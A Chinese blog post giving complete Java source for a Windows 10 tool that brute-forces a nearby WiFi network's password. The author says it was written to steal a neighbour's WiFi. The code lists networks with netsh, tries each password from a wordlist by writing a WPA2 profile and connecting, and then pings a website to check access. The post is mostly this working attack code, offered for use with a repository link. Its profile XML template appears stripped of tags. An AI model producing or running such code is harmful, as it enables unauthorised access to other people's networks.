使用java破解wifi(win10环境)

简介

闲来无事，手机的无限流量很卡，于是想偷隔壁的wifi，写此程序，仅供娱乐。

Git地址

https://github.com/FangCheng666/zn_wifi_crack.git

代码如下

1.cmd工具类

package com.znkeji.zn_wifi_carck.utils;

import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;

/**
 * Created with IntelliJ IDEA.
 * User: fangcheng
 * Date: 2019/3/24
 * Time: 16:21
 * Description: cmd 需要的工具类
 */
public class CmdUtils {

    /**
     * 该方法封装了执行cmd的方法
     *
     * @param cmd CMD命令
     * @param filePath 需要在哪个目录下执行
     */
    public static List execute(String cmd, String filePath) {
        Process process = null;
        List result = new ArrayList();
        try {
            if (filePath != null) {
                process = Runtime.getRuntime().exec(cmd, null, new File(filePath));
            } else {
                process = Runtime.getRuntime().exec(cmd);
            }
            BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk"));
            String line = null;
            while ((line = bReader.readLine()) != null) {
                result.add(line);
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
        return result;
    }

}

2.字符串工具类

package com.znkeji.zn_wifi_carck.utils;

/**
 * Created with IntelliJ IDEA.
 * User: fangcheng
 * Date: 2019/3/24
 * Time: 16:21
 * Description:字符串工具类
 */
public class StringUtils {

    /**
     * 字符串转换成为16进制(无需Unicode编码)
     * @param str
     * @return
     */
    public static String str2HexStr(String str) {
        char[] chars = "0123456789ABCDEF".toCharArray();
        StringBuilder sb = new StringBuilder("");
        byte[] bs = str.getBytes();
        int bit;
        for (int i = 0; i < bs.length; i++) {
            bit = (bs[i] & 0x0f0) >> 4;
            sb.append(chars[bit]);
            bit = bs[i] & 0x0f;
            sb.append(chars[bit]);
            // sb.append(' ');
        }
        return sb.toString().trim();
    }

}

3.wifi工具类

 

package com.znkeji.zn_wifi_carck.utils;

import java.util.Hashtable;

/**
 * Created with IntelliJ IDEA.
 * User: fangcheng
 * Date: 2019/3/24
 * Time: 13:16
 * Description: WiFi工具类
 */
public class WiFiUtils {

    /**
     * 获得wifi配置文件字符串
     * @param WIFI_NAME
     * @param hex
     * @param WIFI_PASSWORD
     * @return
     */
    public static String getWifiStr(String WIFI_NAME, String hex, String WIFI_PASSWORD) {
        return "\n" +
                "\n" +
                "\t"+WIFI_NAME+"\n" +
                "\t\n" +
                "\t\t\n" +
                "\t\t\t"+hex+"\n" +
                "\t\t\t"+WIFI_NAME+"\n" +
                "\t\t\n" +
                "\t\n" +
                "\tESS\n" +
                "\tauto\n" +
                "\t\n" +
                "\t\t\n" +
                "\t\t\t\n" +
                "\t\t\t\tWPA2PSK\n" +
                "\t\t\t\tAES\n" +
                "\t\t\t\tfalse\n" +
                "\t\t\t\n" +
                "\t\t\t\n" +
                "\t\t\t\tpassPhrase\n" +
                "\t\t\t\tfalse\n" +
                "\t\t\t\t"+WIFI_PASSWORD+"\n" +
                "\t\t\t\n" +
                "\t\t\n" +
                "\t\n" +
                "\t\n" +
                "\t\tfalse\n" +
                "\t\n" +
                "\n";
    }
}

4.启动类

package com.znkeji.zn_wifi_carck;

import com.znkeji.zn_wifi_carck.utils.CmdUtils;
import com.znkeji.zn_wifi_carck.utils.StringUtils;
import com.znkeji.zn_wifi_carck.utils.WiFiUtils;
import org.springframework.util.FileCopyUtils;

import java.io.*;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;

/**
 * Created with IntelliJ IDEA.
 * User: fangcheng
 * Date: 2019/3/23
 * Time: 20:18
 * Description: 启动类，项目的入口
 */
public class App {


    public static void main(String[] args) throws IOException {

        List wifiList = CmdUtils.execute("netsh wlan show networks mode=bssid", "./");
        List ssidList = getSsidList(wifiList);
        for (int i = 0; i < ssidList.size(); i++) {
            System.out.println((i+1)+"."+ssidList.get(i));
        }
        System.out.println("请输入要破解的wifi:");

        Scanner sca =new Scanner(System.in);
        sca.useDelimiter("\n");
        String ssid = sca.next();

        System.out.println("-----------您选择的wifi为【"+ssid+"】-------------");
        System.out.println("-----------开始破解-------------");

        String path = App.class.getClassLoader().getResource("pwd.txt").getPath();
        BufferedReader reader = new BufferedReader(new FileReader(path));


        String pwd = null;
        int i = 0;
        while((pwd = reader.readLine()) != null){

            i++;

            System.out.println("开始连接："+i+" -->"+ssid+" - "+pwd);
            boolean success = connect(ssid, pwd);
            if(success){
                System.out.println("连接成功，"+ssid+"的密码为"+pwd);
                return;
            }
        }

    }

    /**
     * 连接wifi
     * @param ssid
     * @param wifiPwd
     */
    private static boolean connect(String ssid, String wifiPwd) {
        try {
            String hex = StringUtils.str2HexStr(ssid);
            //生成wifi配置文件
            String wifiConf = WiFiUtils.getWifiStr(ssid, hex,wifiPwd);
            File out = new File("./temp.xml");
            FileCopyUtils.copy(wifiConf.getBytes(), out);
            //添加配置文件
            printList(CmdUtils.execute("netsh wlan add profile filename=temp.xml","./"));;
            //连接wifi
            printList(CmdUtils.execute("netsh wlan connect name=\""+ssid+"\"","./"));;
            //测试网络，使用ping的方式检测网络，此处建议优化改其他效率更高的方式，暂停2000毫秒是因为连接WiFi需要时间，这个时间因环境而异
            CmdUtils.execute("ipconfig","./");
            Thread.sleep(2000);
            boolean success = ping();
            return success;

        }catch (Exception e){
            e.printStackTrace();
        }
        return false;
    }

    /**
     * 获得ssidList
     * @param resultList 通过cmd命令查出来的附件WiFi
     * @return
     */
    private static List getSsidList(List resultList) {
        List ssidList = new ArrayList();
        //遍历result获得ssid
        for (String result : resultList) {
            if(result.startsWith("SSID")){
                String ssid = result.substring(result.indexOf(":")+2);
                ssidList.add(ssid);
            }
        }
        return ssidList;
    }

    /**
     * 打印list数据
     * @param resultList
     */
    private static void printList(List resultList) {
        for (String result : resultList) {
            System.out.println(result);
        }
    }

    /**
     * ping 校验
     */
    private static boolean ping() {
        boolean pinged = false;
        String cmd = "ping www.baidu.com";
        List result = CmdUtils.execute(cmd, "./");
//        printList(result);
        if (result != null && result.size() > 0) {
            for (String item : result) {
                if (item.contains("来自")) {
                    pinged = true;
                    break;
                }
            }
        }
        return pinged;
    }



}

启动方式

启动App类中的main方法即可

效果如下

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